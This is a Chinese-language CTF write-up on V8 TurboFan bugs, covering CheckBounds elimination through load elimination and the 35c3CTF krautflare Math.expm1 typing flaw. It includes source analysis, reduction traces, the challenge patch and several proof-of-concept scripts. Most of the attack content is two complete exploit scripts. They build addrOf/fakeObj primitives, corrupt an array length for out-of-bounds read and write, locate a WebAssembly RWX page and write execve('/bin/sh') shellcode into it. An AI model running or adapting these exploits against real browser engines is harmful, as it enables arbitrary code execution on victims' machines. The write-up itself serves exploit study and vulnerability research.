switch (access.machine_type.representation()) {
case MachineRepresentation::kNone:
case MachineRepresentation::kBit:
case MachineRepresentation::kWord8:
case MachineRepresentation::kWord16:
case MachineRepresentation::kWord32:
case MachineRepresentation::kWord64:
case MachineRepresentation::kFloat32:
// TODO(turbofan): Add support for doing the truncations.
break;
case MachineRepresentation::kFloat64:
case MachineRepresentation::kSimd128:
case MachineRepresentation::kTaggedSigned:
case MachineRepresentation::kTaggedPointer:
case MachineRepresentation::kTagged:
case MachineRepresentation::kCompressedSigned:
case MachineRepresentation::kCompressedPointer:
case MachineRepresentation::kCompressed:
if (Node* replacement = state->LookupElement(
object, index, access.machine_type.representation())) {
// Make sure we don't resurrect dead {replacement} nodes.
// Skip lowering if the type of the {replacement} node is not a subtype
// of the original {node}'s type.
// TODO(tebbi): We should insert a {TypeGuard} for the intersection of
// these two types here once we properly handle {Type::None} everywhere.
if (!replacement->IsDead() && NodeProperties::GetType(replacement)
.Is(NodeProperties::GetType(node))) {
ReplaceWithValue(node, replacement, effect);
return Replace(replacement);
}
}
state = state->AddElement(object, index, node,
access.machine_type.representation(), zone());
return UpdateState(node, state);
}
return NoChange();
}
看下源码好像不对劲,乐,好像分析错了…
再分析
查找了一些资料,参考
前面的分析也不是错吧,但是好像没有分析到要点,导致不知道怎么更新
poc
使用 trace-turbo-reduction
命令跟踪节点的修改与替换:
- In-place update of 35: NumberLessThan(34, 17) by reducer TypeNarrowingReducer
- Replacement of 35: NumberLessThan(34, 17) with 46: HeapConstant[0x03c04b480709 <false>] by reducer ConstantFoldingReducer
- In-place update of 36: Branch[True|CriticalSafetyCheck](46, 13) by reducer BranchElimination
- Replacement of 36: Branch[True|CriticalSafetyCheck](46, 13) with 78: Dead by reducer CommonOperatorReducer
- Replacement of 38: LoadElement[tagged base, 16, Number, kRepFloat64|kTypeNumber, FullWriteBarrier](67, 34, 34, 78) with 78: Dead by reducer DeadCodeElimination
- Replacement of 43: Return(23, 78, 78, 78) with 78: Dead by reducer DeadCodeElimination
从上面的输出可以知道,这里的 NumberLessThan
直接被替换成了 false
,所以后面就是直接走 ifFalse
路径了,跟 LoadElement
就没啥关系了,所以 LoadElement
就成了 Dead
节点了,所以直接被清除了。
而 NumberLessThan
节点则是先经过了 TypeNarrowingReducer
处理,然后在被 ConstantFoldingReducer
进行了常数折叠,所以这里就很明显了,因为 CheckBounds
的值为 Range(4,4)
,所以 NumberLessThan
经过 TypeNarrowingReducer
后其值就是 false
,后面自然就会被折叠。
所以这里需要让 CheckBounds
的值为一个范围(这里建议看下上面参考文章的源码分析),但这里第一版的 poc
就是利用的 phi
节点,但是后面没有被漏洞逻辑优化。
正确的 phi
节点 poc
:
const {log} = console;
function trigger(x) {
let tmp_arr = [1.1, 1.2, 1.3, 1.4];
let idx = 0;
if (x = "pwn") {
idx = 4;
}
return tmp_arr[idx];
}
for (let i = 0; i < 0x100000; i++) {
trigger("pwn");
}
log(trigger("pwn"));
错误的 phi
节点 poc
:
const {log} = console;
function trigger(x) {
let tmp_arr = [1.1, 1.2, 1.3, 1.4];
let idx = 0;
if (x == "pwn") {
idx = 4;
}
return tmp_arr[idx];
}
for (let i = 0; i < 0x100000; i++) {
trigger("pwn");
}
log(trigger("pwn"));
这里我们只是希望 CheckBounds
节点的值是一个范围而不保留 phi
节点,所以在正确的 poc
中会在 typer
阶段产生 phi
节点,但是在 typer lowering
阶段会被消除,因为 x = "pwn"
恒为真。
typer lowering
阶段:
late optimizetion
阶段:
当然文章中还给了两种方案,本质就是让 idx
的值为一个常数,但是在 LoadElimination
阶段前,CheckBounds
的值为一个范围:
- 1)
idx &= 0xfff
- 2)逃逸分析
idx &= 0xfff
const {log} = console;
function trigger(x) {
let tmp_arr = [1.1, 1.2, 1.3, 1.4];
let idx = 4;
idx &= 0xfff;
return tmp_arr[idx];
}
for (let i = 0; i < 0x100000; i++) {
trigger("pwn");
}
log(trigger("pwn"));
typer
阶段:
可以看到这里 SpeculativeNumberBitwiseAnd
的值为 Range(0, 4)
,所以后面的 CheckBounds
的值为 Range(0, 4)
,这似乎不符合常理,因为 4 & 0xfff
不就恒等于 4 吗?SpeculativeNumberBitwiseAnd
的值为啥不是 Range(4, 4)
呢?嗯…源码不会骗人,来看看源码,这里对 SpeculativeNumberBitwiseAnd
的优化最后会调用到 OperationTyper::NumberBitwiseAnd
函数,这里以 lhs = 4, rhs = 0xfff
为例子进行注释:
Type OperationTyper::NumberBitwiseAnd(Type lhs, Type rhs) {
DCHECK(lhs.Is(Type::Number()));
DCHECK(rhs.Is(Type::Number()));
lhs = NumberToInt32(lhs);
rhs = NumberToInt32(rhs);
if (lhs.IsNone() || rhs.IsNone()) return Type::None();
double lmin = lhs.Min(); // lmin = 4
double rmin = rhs.Min(); // rmin = 0xfff
double lmax = lhs.Max(); // lmax = 4
double rmax = rhs.Max(); // rmax = 0xfff
double min = kMinInt; // min = 最小的 31 bit 数
// And-ing any two values results in a value no larger than their maximum.
// Even no larger than their minimum if both values are non-negative.
// max = min(lmax, rmax) = 4
double max =
lmin >= 0 && rmin >= 0 ? std::min(lmax, rmax) : std::max(lmax, rmax);
// And-ing with a non-negative value x causes the result to be between
// zero and x.
if (lmin >= 0) { // 4 >= 0 条件成立
min = 0; // min = 0
max = std::min(max, lmax); // max = min(4, 4) = 4
}
if (rmin >= 0) { // 0xfff >= 0 条件成立
min = 0; // min = 0
max = std::min(max, rmax); // max = min(4, 0xfff) = 4
}
// min = 0, max = 4
// 所以最后的值就是 Range(min, max) = Range(0, 4)
return Type::Range(min, max, zone());
}
逃逸分析
由于 LoadElimination
阶段在 EscapeAnalysis
阶段前面,所以可以利用其来保留 idx
的值,这里参考下面的 35c3CTF-krautflare
题目(没错,我是先做的下一题…)
const {log} = console;
function trigger(x) {
let tmp_arr = [1.1, 1.2, 1.3, 1.4];
let idx = { i: 4 };
return tmp_arr[idx.i];
}
for (let i = 0; i < 0x100000; i++) {
trigger("pwn");
}
log(trigger("pwn"));
漏洞利用
这里其实就跟 starCTF OOB
这题非常像了,off by one
构造 addrOf
和 fakeObj
原语。
const {log} = console;
//let debug = (o) => {
// %DebugPrint(o);
// %SystemBreak();
//};
var raw_buf = new ArrayBuffer(8);
var d_buf = new Float64Array(raw_buf);
var l_buf = new BigInt64Array(raw_buf);
let d2l = (v) => {
d_buf[0] = v;
return l_buf[0];
};
let l2d = (v) => {
l_buf[0] = v;
return d_buf[0];
};
let hexx = (str, v) => {
log("\033[32m" + str + ": \033[0m0x" + v.toString(16));
};
var float_arr = [];
var obj_arr = [];
function get_float_map(x) {
float_arr = [1.1, 1.2, 1.3, 1.4];
obj_arr = [float_arr];
let idx = 0;
if (x = "pwn") {
idx = 4;
}
return float_arr[idx];
}
for (let i = 0; i < 0x100000; i++) {
get_float_map("pwn");
}
var float_map = d2l(get_float_map("pwn"));
var obj_map = float_map + 0xa0n;
hexx("float_map", float_map);
hexx("obj_map ", obj_map);
float_map = l2d(float_map);
obj_map = l2d(obj_map);
function pre_fakeObj(addr) {
float_arr = [addr, 1.2, 1.3, 1.4];
let idx = { i: 4 };
float_arr[idx.i] = obj_map;
return float_arr;
}
for (let i = 0; i < 0x100000; i++) {
pre_fakeObj(float_map);
}
function fakeObj(addr) {
return (pre_fakeObj(addr))[0];
}
var float_map_obj = fakeObj(float_map);
log("float_map_obj is \033[31m" + typeof float_map_obj + '\033[0m');
function pre_addrOf(obj) {
obj_arr = [obj];
let idx = { i: 1 };
obj_arr[idx.i] = float_map_obj;
return obj_arr;
}
for (let i = 0; i < 0x100000; i++) {
pre_addrOf(float_arr);
}
function addrOf(obj) {
return (pre_addrOf(obj))[0];
}
var float_arr_addr = d2l(addrOf(float_arr));
hexx("float_arr_addr", float_arr_addr);
var fake_arr = [float_map, 0, 5.21, l2d(0x2000000000n)];
var fake_arr_addr = d2l(addrOf(fake_arr));
var fake_obj_addr = fake_arr_addr - 0x20n;
hexx("fake_arr_addr", fake_arr_addr);
hexx("fake_obj_addr", fake_obj_addr);
var fake_obj = fakeObj(l2d(fake_obj_addr));
log("fake_obj is \033[31m" + typeof fake_obj + '\033[0m');
function arb_read(addr) {
fake_arr[2] = l2d(addr - 0x10n);
return d2l(fake_obj[0]);
}
var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,
128,0,1,96,0,1,127,3,130,128,128,128,
0,1,0,4,132,128,128,128,0,1,112,0,0,5,
131,128,128,128,0,1,0,1,6,129,128,128,128,
0,0,7,145,128,128,128,0,2,6,109,101,109,111,
114,121,2,0,4,109,97,105,110,0,0,10,142,128,128,
128,0,1,136,128,128,128,0,0,65,239,253,182,245,125,11]);
var wasm_module = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_module);
var pwn = wasm_instance.exports.main;
var wasm_instance_addr = d2l(addrOf(wasm_instance));
hexx("wasm_instance_addr", wasm_instance_addr);
var rwx_addr = arb_read(wasm_instance_addr + 0x88n);
hexx("rwx_addr", rwx_addr);
var arb_buf = new ArrayBuffer(0x200);
var dv = new DataView(arb_buf);
var arb_buf_addr = d2l(addrOf(arb_buf));
hexx("arb_buf_addr", arb_buf_addr);
fake_arr[2] = l2d(arb_buf_addr + 0x20n - 0x10n);
fake_obj[0] = l2d(rwx_addr);
var shellcode = [
0x2fbb485299583b6an,
0x5368732f6e69622fn,
0x050f5e5457525f54n
];
for (let i = 0; i < shellcode.length; i++) {
dv.setBigInt64(i*8, shellcode[i], true);
}
pwn();
小问题
写 exp
的时候遇到了一些小问题,就是在构造 addrOf
和 fakeObj
原语时:
function pre_fakeObj(addr) {
float_arr = [addr, 1.2, 1.3, 1.4];
let idx = { i: 4 };
float_arr[idx.i] = obj_map;
return float_arr;
}
for (let i = 0; i < 0x100000; i++) {
pre_fakeObj(float_map);
}
function addrOf(obj) {
return (pre_addrOf(obj))[0];
}
可以看到这里是分成了两步,当我在 pre_fakeObj
中直接返回 float_arr[0]
时,一直无法成功 addrOf
,原因可以看下 IR
图,这里就先留个坑,后面有时间再好好分析。
35c3CTF-krautflare【Issue 880207-Math.expm1()消除CheckBounds】
环境搭建
git checkout dde25872f58951bb0148cf43d6a504ab2f280485
gclient sync -D
漏洞分析
题目是根据 Issue 880207改的,题目 patch 如下:
commit 950e28228cefd1266cf710f021a67086e67ac6a6
Author: Your Name <you@example.com>
Date: Sat Dec 15 14:59:37 2018 +0100
Revert "[turbofan] Fix Math.expm1 builtin typing."
This reverts commit c59c9c46b589deb2a41ba07cf87275921b8b2885.
diff --git a/src/compiler/typer.cc b/src/compiler/typer.cc
index 60e7ed574a..8324dc06d7 100644
--- a/src/compiler/typer.cc
+++ b/src/compiler/typer.cc
@@ -1491,6 +1491,7 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) {
// Unary math functions.
case BuiltinFunctionId::kMathAbs:
case BuiltinFunctionId::kMathExp:
+ case BuiltinFunctionId::kMathExpm1:
return Type::Union(Type::PlainNumber(), Type::NaN(), t->zone());
case BuiltinFunctionId::kMathAcos:
case BuiltinFunctionId::kMathAcosh:
@@ -1500,7 +1501,6 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) {
case BuiltinFunctionId::kMathAtanh:
case BuiltinFunctionId::kMathCbrt:
case BuiltinFunctionId::kMathCos:
- case BuiltinFunctionId::kMathExpm1:
case BuiltinFunctionId::kMathFround:
case BuiltinFunctionId::kMathLog:
case BuiltinFunctionId::kMathLog1p:
diff --git a/test/mjsunit/regress/regress-crbug-880207.js b/test/mjsunit/regress/regress-crbug-880207.js
index 09796a9ff4..0f65ddb56b 100644
--- a/test/mjsunit/regress/regress-crbug-880207.js
+++ b/test/mjsunit/regress/regress-crbug-880207.js
@@ -4,34 +4,10 @@
// Flags: --allow-natives-syntax
-(function TestOptimizedFastExpm1MinusZero() {
- function foo() {
- return Object.is(Math.expm1(-0), -0);
- }
+function foo() {
+ return Object.is(Math.expm1(-0), -0);
+}
- assertTrue(foo());
- %OptimizeFunctionOnNextCall(foo);
- assertTrue(foo());
-})();
-
-(function TestOptimizedExpm1MinusZeroSlowPath() {
- function f(x) {
- return Object.is(Math.expm1(x), -0);
- }
-
- function g() {
- return f(-0);
- }
-
- f(0);
- // Compile function optimistically for numbers (with fast inlined
- // path for Math.expm1).
- %OptimizeFunctionOnNextCall(f);
- // Invalidate the optimistic assumption, deopting and marking non-number
- // input feedback in the call IC.
- f("0");
- // Optimize again, now with non-lowered call to Math.expm1.
- assertTrue(g());
- %OptimizeFunctionOnNextCall(g);
- assertTrue(g());
-})();
+assertTrue(foo());
+%OptimizeFunctionOnNextCall(foo);
+assertTrue(foo());
关于 Math.expm1
的实现存在两个漏洞,这里作者重新引入了 typer.cc
中的漏洞,即 Builtin
函数 Math.expm1
的返回类型为 Type::PlainNumber() || Type::NaN()
,所以这里忽略了 -0
,这里指明一下常见数字类型的范围:
PlainNumber
:任意浮点数,不包含-0
Number
:任意浮点数,包含-0
和NaN
Numeric
:任意浮点数,包含-0
、NaN
和BigInt
这里给的 poc
似乎存在问题,第一版 poc
:
const {log} = console;
function foo() {
return Object.is(Math.expm1(-0), -0);
}
log(foo());
%OptimizeFunctionOnNextCall(foo);
log(foo());
// 输出:
// true
// true
来看看 typer
趟后的 IR
图:
可以看到这里 Math.expm1
函数被优化成了 NumberExpm1
函数,而该函数的输出为 Number
,其是包含 -0
的:
Type OperationTyper::NumberExpm1(Type type) {
DCHECK(type.Is(Type::Number()));
return Type::Number();
}
这里是因为 Math.expm1
函数的参数始终是数字,所以会导致这里的优化,而题目引入的漏洞在 typer.cc
中的函数上的,而 typer.cc
中的 JSCallTyper
函数是用来对内置函数进行优化的,所以这里需要产生一个 JSCALL
节点,这里其实就是让参数类型复杂化,以 add
为例:
const {log} = console;
function add(x) {
return x + 1;
}
log(add(1));
%OptimizeFunctionOnNextCall(add);
log(add(2));
这里我们将参数复杂化:
const {log} = console;
function add(x) {
return x + 1;
}
log(add("3"));
%OptimizeFunctionOnNextCall(add);
log(add(2));
回到题目,然后这里使用 %OptimizeFunctionOnNextCall
似乎始终无非按照预期进行优化:
const {log} = console;
function foo(x) {
return Object.is(Math.expm1(x), -0);
}
log(foo(-0));
for (let i = 0; i < 0x10000; i++) {
foo("-0");
}
log(foo(-0));
可以看到这里成功的产生了 JSCall
节点,返回值为 PlainNumber | NaN
,不包括 -0
,所以这里的 SameValue
节点恒为 false
:
之后的目的就是去扩大漏洞原语,在 javascript
中,布尔类型的值做整数运算时会被转换为 0/1
:
V8 version 7.3.0 (candidate)
d8> true + 1
2
d8> true * 4
4
d8> false + 1
1
d8> false * 5
0
d8>
所以这里可以利用该漏洞来消除 CheckBounds
节点,这里涉及到一些知识点,所以这里将一步一步的去解决相关问题。
第一版 poc
:
const {log} = console;
function foo(x) {
let oob = [1.1, 1.2, 1.3, 1.4];
let i = Object.is(Math.expm1(x), -0);
return oob[i * 4];
}
for (let i = 0; i < 0x10000; i++) {
foo("1");
}
log(foo(-0));
// 输出:
// 1.1
显然不符合预期,看下 IR
图,先直接看下 simplified lowering
阶段:
可以看到这里直接优化成了 oob[0]
,然后看下 typer
阶段:
可以看到,在 typer
阶段就已经确认了 SameValue
节点的值恒为 false
,所以最后计算出来是索引就恒为 0
,所以后面就直接优化成了 oob[0]
了。所以这里我们需要让 SameValue
节点在 simplified lowering
前不发生常数折叠:
Type OperationTyper::SameValue(Type lhs, Type rhs) {
if (!JSType(lhs).Maybe(JSType(rhs))) return singleton_false();
if (lhs.Is(Type::NaN())) {
if (rhs.Is(Type::NaN())) return singleton_true();
if (!rhs.Maybe(Type::NaN())) return singleton_false();
} else if (rhs.Is(Type::NaN())) {
if (!lhs.Maybe(Type::NaN())) return singleton_false();
}
if (lhs.Is(Type::MinusZero())) {
if (rhs.Is(Type::MinusZero())) return singleton_true();
if (!rhs.Maybe(Type::MinusZero())) return singleton_false();
} else if (rhs.Is(Type::MinusZero())) {
if (!lhs.Maybe(Type::MinusZero())) return singleton_false();
}
if (lhs.Is(Type::OrderedNumber()) && rhs.Is(Type::OrderedNumber()) &&
(lhs.Max() < rhs.Min() || lhs.Min() > rhs.Max())) {
return singleton_false();
}
return Type::Boolean();
}
这里看下这里恒为 false
的原因:
- 1)
Object.is
左边恒为Math.expm1(-0)
为PlainNubmer | NaN
- 2)
Object.is
右边恒为-0
而第一个条件是无法改变的,所以这里改变第二个条件。
第二版 poc
:
const {log} = console;
function foo(x, y) {
let oob = [1.1, 1.2, 1.3, 1.4];
let i = Object.is(Math.expm1(x), y);
return oob[i * 4];
}
for (let i = 0; i < 0x10000; i++) {
foo("-0", -0);
}
log(foo(-0, -0));
这个 poc
也有一个问题,就是在 simplified lowering
阶段 SameValue
仍然为 Boolean
类型,这是因为第二个参数的类型无法确定,导致无法去除 CheckBounds
检测:
这里参考该文章:
TypedLoweringPhase
来看下 TypedLoweringPhase
的代码:
struct TypedLoweringPhase {
static const char* phase_name() { return "typed lowering"; }
void Run(PipelineData* data, Zone* temp_zone) {
......
AddReducer(data, &graph_reducer, &dead_code_elimination);
AddReducer(data, &graph_reducer, &create_lowering);
AddReducer(data, &graph_reducer, &constant_folding_reducer);
AddReducer(data, &graph_reducer, &typed_lowering);
AddReducer(data, &graph_reducer, &typed_optimization);
AddReducer(data, &graph_reducer, &simple_reducer);
AddReducer(data, &graph_reducer, &checkpoint_elimination);
AddReducer(data, &graph_reducer, &common_reducer);
graph_reducer.ReduceGraph();
}
};
可以看到这里会先进行 constant_folding_reducer
,然后再执行 typed_optimization
,这里看下 typed_optimization
代码:
......
Reduction ReduceConvertReceiver(Node* node);
Reduction ReduceCheckHeapObject(Node* node);
Reduction ReduceCheckMaps(Node* node);
Reduction ReduceCheckNumber(Node* node);
Reduction ReduceCheckString(Node* node);
Reduction ReduceCheckEqualsInternalizedString(Node* node);
Reduction ReduceCheckEqualsSymbol(Node* node);
Reduction ReduceLoadField(Node* node);
Reduction ReduceNumberFloor(Node* node);
Reduction ReduceNumberRoundop(Node* node);
Reduction ReduceNumberToUint8Clamped(Node* node);
Reduction ReducePhi(Node* node);
Reduction ReduceReferenceEqual(Node* node);
Reduction ReduceStringComparison(Node* node);
Reduction ReduceSameValue(Node* node);
Reduction ReduceSelect(Node* node);
Reduction ReduceSpeculativeToNumber(Node* node);
Reduction ReduceCheckNotTaggedHole(Node* node);
Reduction ReduceTypeOf(Node* node);
Reduction ReduceToBoolean(Node* node);
......
可以看到这里对不同的节点会执行不同的 reduce
,这里主要看下 ReduceSameValue
:
Reduction TypedOptimization::ReduceSameValue(Node* node) {
// 检测是否是 SameValue 节点
DCHECK_EQ(IrOpcode::kSameValue, node->opcode());
// lhs/rhs 分别为第一/二个 Value 输入
Node* const lhs = NodeProperties::GetValueInput(node, 0);
Node* const rhs = NodeProperties::GetValueInput(node, 1);
// lhs_type/rhs_type 分别为第一/二个 Value 输入类型
Type const lhs_type = NodeProperties::GetType(lhs);
Type const rhs_type = NodeProperties::GetType(rhs);
// 下面都有注释,都比较形象了
if (lhs == rhs) {
// SameValue(x,x) => #true
return Replace(jsgraph()->TrueConstant());
} else if (lhs_type.Is(Type::Unique()) && rhs_type.Is(Type::Unique())) {
// SameValue(x:unique,y:unique) => ReferenceEqual(x,y)
NodeProperties::ChangeOp(node, simplified()->ReferenceEqual());
return Changed(node);
} else if (lhs_type.Is(Type::String()) && rhs_type.Is(Type::String())) {
// SameValue(x:string,y:string) => StringEqual(x,y)
NodeProperties::ChangeOp(node, simplified()->StringEqual());
return Changed(node);
} else if (lhs_type.Is(Type::MinusZero())) {
// SameValue(x:minus-zero,y) => ObjectIsMinusZero(y)
node->RemoveInput(0);
NodeProperties::ChangeOp(node, simplified()->ObjectIsMinusZero());
return Changed(node);
} else if (rhs_type.Is(Type::MinusZero())) {
// SameValue(x,y:minus-zero) => ObjectIsMinusZero(x)
node->RemoveInput(1);
NodeProperties::ChangeOp(node, simplified()->ObjectIsMinusZero());
return Changed(node);
} else if (lhs_type.Is(Type::NaN())) {
// SameValue(x:nan,y) => ObjectIsNaN(y)
node->RemoveInput(0);
NodeProperties::ChangeOp(node, simplified()->ObjectIsNaN());
return Changed(node);
} else if (rhs_type.Is(Type::NaN())) {
// SameValue(x,y:nan) => ObjectIsNaN(x)
node->RemoveInput(1);
NodeProperties::ChangeOp(node, simplified()->ObjectIsNaN());
return Changed(node);
} else if (lhs_type.Is(Type::PlainNumber()) &&
rhs_type.Is(Type::PlainNumber())) {
// SameValue(x:plain-number,y:plain-number) => NumberEqual(x,y)
NodeProperties::ChangeOp(node, simplified()->NumberEqual());
return Changed(node);
}
return NoChange();
}
LoadEliminationPhase
struct LoadEliminationPhase {
static const char* phase_name() { return "load elimination"; }
void Run(PipelineData* data, Zone* temp_zone) {
......
AddReducer(data, &graph_reducer, &branch_condition_elimination);
AddReducer(data, &graph_reducer, &dead_code_elimination);
AddReducer(data, &graph_reducer, &redundancy_elimination);
AddReducer(data, &graph_reducer, &load_elimination);
AddReducer(data, &graph_reducer, &type_narrowing_reducer);
AddReducer(data, &graph_reducer, &constant_folding_reducer);
AddReducer(data, &graph_reducer, &checkpoint_elimination);
AddReducer(data, &graph_reducer, &common_reducer);
AddReducer(data, &graph_reducer, &value_numbering);
graph_reducer.ReduceGraph();
}
};
可以看到这里会执行一次 type_narrowing_reducer
,然后会进行常数折叠 constant_folding_reducer
。
EscapeAnalysisPhase
这里就不详细分析代码了(因为看也看不懂,乐),主要就是根据上面的文章做个记录。
逃逸对象与非逃逸对象
考虑如下代码:
function f() {
let o = {a: 5};
return o.a;
}
这里的 o
就是非逃逸对象,因为他的属性值 a
是不可变的,固定为 5
,所以这里可以直接将 o.a
优化为 5
,即:
function f() {
let o_a = 5;
return o_a;
}
原来的 o
是堆上的对象,而将其优化成了 o_a
为栈上的变量,访问速度更快了。如果这里添加一个函数 g
:
function f() {
let o = {a: 5};
g(o);
return o.a;
}
这时 o
就是一个逃逸对象,不会像上面一样对对象再进行优化,其实也很容易想明白,在 g
中可能对对象 o
的属性进行修改。
回到题目,从上面我们知道了我们必须将 SameValue
节点稳定到 SimplifiedLoweringPhase
趟,而在 LoadEliminationPhase
趟会进行一次 typer
和常数折叠,所以这里就只能在 EscapeAnalysisPhase
趟中对 SameValue
进行确定化。
第三版 poc
:
const {log} = console;
function foo(x) {
let oob = [1.1, 1.2, 1.3, 1.4];
let y = { arg: -0 };
let i = Object.is(Math.expm1(x), y.arg);
return oob[i * 4];
}
for (let i = 0; i < 0x10000; i++) {
foo("1");
}
log(foo(-0));
// 输出:
// 1.1337425637597e-310
typer
阶段:
可以看到这里的 SameValue
为 Boolean
,SameValue
的一个输入为 LoadField
节点
typed lowering
阶段:
可以看到这里 SameValue
的一个输入为 LoadFiled
节点
EscapeAnalysisPhase
阶段:
可以看到经过逃逸分析,这里 SameValue
节点的一个输入已经由 LoadField
变成了 NumberConstant
,后面在 simplified lowering
阶段即可被优化。
simplified lowering
阶段:
可以看到这里的 CheckBounds
节点已经被优化
其实这里还是有点懵的,因为在逃逸分析阶段,这里的
CheckBounds
节点的范围检测是 [0, 4],所以在simplified lowering
按理说不应该被优化,但是这里好像说是在simplified lowering
阶段进行了一次typeing
所以最后计算出的index
范围就是 [0, 0],所以被优化掉了,但是这里如果计算出来是 [0, 0],为啥不直接优化成oob[0]
呢?当然这里还是得看源码,但是这里就先不管了(水平暂时不够)
漏洞利用
成功率不是百分百,但是非常高了。
const {log} = console;
//let debug = (o) => {
// %DebugPrint(o);
// %SystemBreak();
//};
let hexx = (str, num) => {
print("\033[32m"+str+":\033[0m 0x"+num.toString(16));
};
var raw_buf = new ArrayBuffer(8);
var d_buf = new Float64Array(raw_buf);
var l_buf = new BigInt64Array(raw_buf);
let d2l = (v) => {
d_buf[0] = v;
return l_buf[0];
};
let l2d = (v) => {
l_buf[0] = v;
return d_buf[0];
};
var oob = [];
var arr = [];
function trigger(x) {
let tmp_arr = [1.1, 1.2, 1.3, 1.4];
oob = [1.1, 1.2];
// %DebugPrint(tmp_arr);
// debug(oob);
let y = { arg: -0 };
let i = Object.is(Math.expm1(x), y.arg);
tmp_arr[i * 11] = l2d(0x10000000000000n);
}
for (let i = 0; i < 0x10000; i++) {
trigger("0");
}
trigger(-0);
var oob_length = 0x100000;
hexx("oob.legth", oob.length);
if (oob.length !== oob_length) {
throw "FAILED to oob write oob.length";
}
for (let i = 0; i < 0x100; i++) {
arr[i] = new ArrayBuffer(0x2024);
}
var oob_idx = -1;
for (let i = 0; i < oob_length - 1; i++) {
if (d2l(oob[i]) === 0x2024n) {
oob_idx = i + 1;
oob[i] = l2d(0x2025n);
break;
}
}
if (oob_idx === -1) {
throw "FAILED to find the ArrayBuffer OOB idx";
}
hexx("oob_idx", oob_idx);
var arr_idx = -1;
for (let i = 0; i < 0x100; i++) {
if (arr[i].byteLength === 0x2025) {
arr_idx = i;
break;
}
}
if (arr_idx === -1) {
throw "FAILED to find arr_idx";
}
hexx("arr_idx", arr_idx);
var dv = new DataView(arr[arr_idx]);
var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,
128,0,1,96,0,1,127,3,130,128,128,128,
0,1,0,4,132,128,128,128,0,1,112,0,0,5,
131,128,128,128,0,1,0,1,6,129,128,128,128,
0,0,7,145,128,128,128,0,2,6,109,101,109,111,
114,121,2,0,4,109,97,105,110,0,0,10,142,128,128,
128,0,1,136,128,128,128,0,0,65,239,253,182,245,125,11]);
var wasm_module = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_module);
var pwn = wasm_instance.exports.main;
var rwx_off_to_instance = 0xe8;
var wasm_instance_addr = -1;
var tmp = [];
tmp[0] = 0xdabeef;
tmp[1] = wasm_instance;
for (let i = 0; i < oob_length - 1; i++) {
if (d2l(oob[i]) === 0x00dabeef00000000n) {
wasm_instance_addr = d2l(oob[i+1]) - 1n;
break;
}
}
if (wasm_instance_addr === -1) {
throw "FAILED to leak wasm_instance addr";
}
hexx("wasm_instance_addr", wasm_instance_addr);
oob[oob_idx] = l2d(wasm_instance_addr + 0xe8n);
var rwx_addr = dv.getBigInt64(0, true);
hexx("rwx_addr", rwx_addr);
oob[oob_idx] = l2d(rwx_addr);
var shellcode = [
0x2fbb485299583b6an,
0x5368732f6e69622fn,
0x050f5e5457525f54n
];
for (let i = 0; i < shellcode.length; i++) {
dv.setBigInt64(i*8, shellcode[i], true);
}
pwn();
效果如下: